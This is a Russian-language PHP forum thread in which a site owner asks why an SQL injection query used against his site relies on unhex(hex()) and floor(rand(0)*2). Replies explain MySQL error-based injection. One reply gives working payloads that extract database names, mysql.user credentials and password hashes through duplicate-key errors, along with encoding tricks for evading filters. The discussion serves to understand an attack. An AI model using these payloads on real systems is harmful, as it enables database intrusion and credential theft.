[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Странные махинации хакеров
Страницы: 1, 2
inpost
Всем привет.
Давненько ещё ломали меня, нашли SQL-inj и проделали следующий код. По этому коду возникают вопросы...
Давайте взглянем на один участок:
1.
unhex(Hex(cast(database() as char)))

Зачем используют Hex+unhex ? Запутать, добавить лишнего кода... выглядит как говнокод, ведь без этого всё прекрасно в данном случае ломалось. Для чего эти велосипеды с туда-сюда данными? Может русские имена в таблицах или ещё что? У кого есть какие идеи?

2.
floor(rand(0)*2)

Почему сразу не подставить цифру 0? Зачем ещё один велосипед? Сейчас пытаюсь разобраться в этой строчке, дело в том, что если её указать, то выпадает ошибка:
Duplicate entry '~'main'~1' for key 'group_key' - БД main
А если её заменить на цифру 0, то запрос проходит. Почему rand(0) крошит в данном случае запрос?

Вот полный запрос, если кто хочет взглянуть:
SELECT * FROM `users` WHERE `id` = 1 and(select 1 from
(select count(*),concat((select (select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e))
from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1


_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
zelenuy
Используйте хранимые процедуры, как убеждают не одна инъекция не прокатит
inpost
zelenuy
Давай не будем офф-топить smile.gif Ладно? Тут конкретно разобраться хочу с тем, как работает данный взлом и почему хакер использовал hex(unhex), а во втором случае rand(0) привёл к ошибке.

_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
zelenuy
inpost
Ну тут я не силен rolleyes.gif
killer8080
Цитата (inpost @ 22.02.2014 - 18:47)
Запутать, добавить лишнего кода...

думаю да, чтоб усложнить анализ атаки
exotica
а может не на том внимание зацикливаешь?
unhex(hex(...)) выглядит как излишнее действие, не знаю как работает но все же помнится действия требуют памяти, соответственно 2 действия требуют в 2-раза больше памяти... ноя не об этом.

Может сам запрос выглядел настолько осмысленно по сравнению с этим, что ты попросту не обратил внимание на это?

_____________
[FAQ]Регистрации пользователей, сохранение в БД
---------------------------------------------------------------------------
Выходя из ванной, вышел из нее два раза
Valick
красавчики, достают вроде как пароль администратора
причем как-то манипулируют именами полей таблицы users чтобы достать инфу из information_schema
нет достают всю строку из users вроде
надо разобраться в этом запросе хорошенько smile.gif

_____________
Стимулятор ~yoomoney - 41001303250491
inpost
Valick
Запрос этот вернул название Базы данных. Цель взлома - достать данные.

_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
Valick
Стас, у меня достал всю первую строку таблицы


_____________
Стимулятор ~yoomoney - 41001303250491
Winston
http://www.exploit-db.com/papers/13045/
Пункт:
4). Check for MySQL version
Это насчет unhex(hex())

Или на русском smile.gif
https://rdot.org/forum/showthread.php?t=124
Пункт 5.3 Проблемы с кодировками


Насчет floor() в пункте 3.1 последней ссылке.
Oyeme
Ничего тут нет лишнего все имеет смысл wink.gif

В нашем запросы мы можем использовать только максимум 214 байт,это примерно 107 символов при использовании hex-кодирования.

Так как мы хотим избежать потерю возращяемых данных мы используем
hex-кодирование,так же можно использовать от кавычек в запросе используя числовое представление символов ascii,что позволит обходить фильтрацию при обработке.


Это стандартные взломы,он были распространены еще пару лет назад.

Цитата
select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)


U+0027 - апостроф

Обычно в версии MySQL < 5.0 приходиться использовать более сложные запросы, которые полностью завязаны на функции rand().
Та как не всегда получается получить желаемый результат.
inpost
Сижу сейчас, пытаюсь разобраться.
Запрос выше с одними таблицами возвращает ошибку, а с другими - проходит запрос на ура. Поэтому не всегда можно пощупать.

Oyeme
hex,unhex - такой прикол, чтобы достать имя Базы Данных длиннее 107 символов?

Цитата
Что позволит обходить фильтрацию при обработке.

О какой именно фильтрации идёт речь? У меня именно так обращались к Базе Данных, вместо настоящего названия. Хотя когда я проверял, то и с нормальным названием так же работает.

_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
Oyeme
Смысл всего,это вывести сообщение об ошибки любыми способами

Для примера,имее вот такой вот запрос.
 SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1), 0x20, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;


Разберем
SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables

При простом запросе нам выведет 0 1 1 0 1 1

user posted image

Я приложил изображение,ошибка произойдет на 2 единице при группировки и ошибка будет выброшена.Это значит нам будут доступны только первые три строчки в таблице.А они всегда одинаковы так как это таблица information_schema.table

user posted image


Это баг в mysql при использования группировки без count() и group by не работает.

Этот баг помоему не рабоате в oracle и poster sql ;)

http://bugs.mysql.com/bug.php?id=58081

SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;

ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'



Цель тут простая найти способ ,сделать вывод об отчете об ошибках,другими словами мы должны динамически передать подстроку в ошибку mysql


Например
Цитата

Duplicate entry '5.0.45-community-nt0' for key 1


Соотвестенно 5.0.45-community-nt0' последникй нолик это и есть наша магическтая строчка FLOOR(RAND(0)*2)

Еще один пример
Цитата
UNION+select+1,count(*),concat((selec  t pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x


Результат

Цитата
Duplicate entry '1bc29b36f623ba82aaf6724fd3b16718:1' for key 1

Бывает что данные слишков "велики" и используем SUBSTR для обрезания,например поля varchar



Цитата
Oyeme
hex,unhex - такой прикол, чтобы достать имя Базы Данных длиннее 107 символов?


Все очень просто,так как я не знаю что у тебя за сервер-база данных,я могу получить сообщение об ошибке,скажем так о несовместимости кодировки.Или скажем не нужные символы которые сломают нам все,они будут кодированны,то что не возможно будет скодировать просто исчезнет или будет кодиравано в 0x00
Для примера нет такого символа как валюта евро ;)

Что будем делать?
Нужно это исправить ;)

Давным давно я использовал например вот такой вот запрос
0x27,(AES_DECRYPT(AES_ENCRYPT(SELECT * FROM.....))),0x27

Что эквивалетно
Цитата
UNHEX(HEX())



Просто когда мы все кодируем в одно и тоже то проще работать с этим,да и меньше кода с используя такой вот способ.

Можно вообще не декодировать,а потом получая ascii с де-конвертировать в каком-нибуль online сайту
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.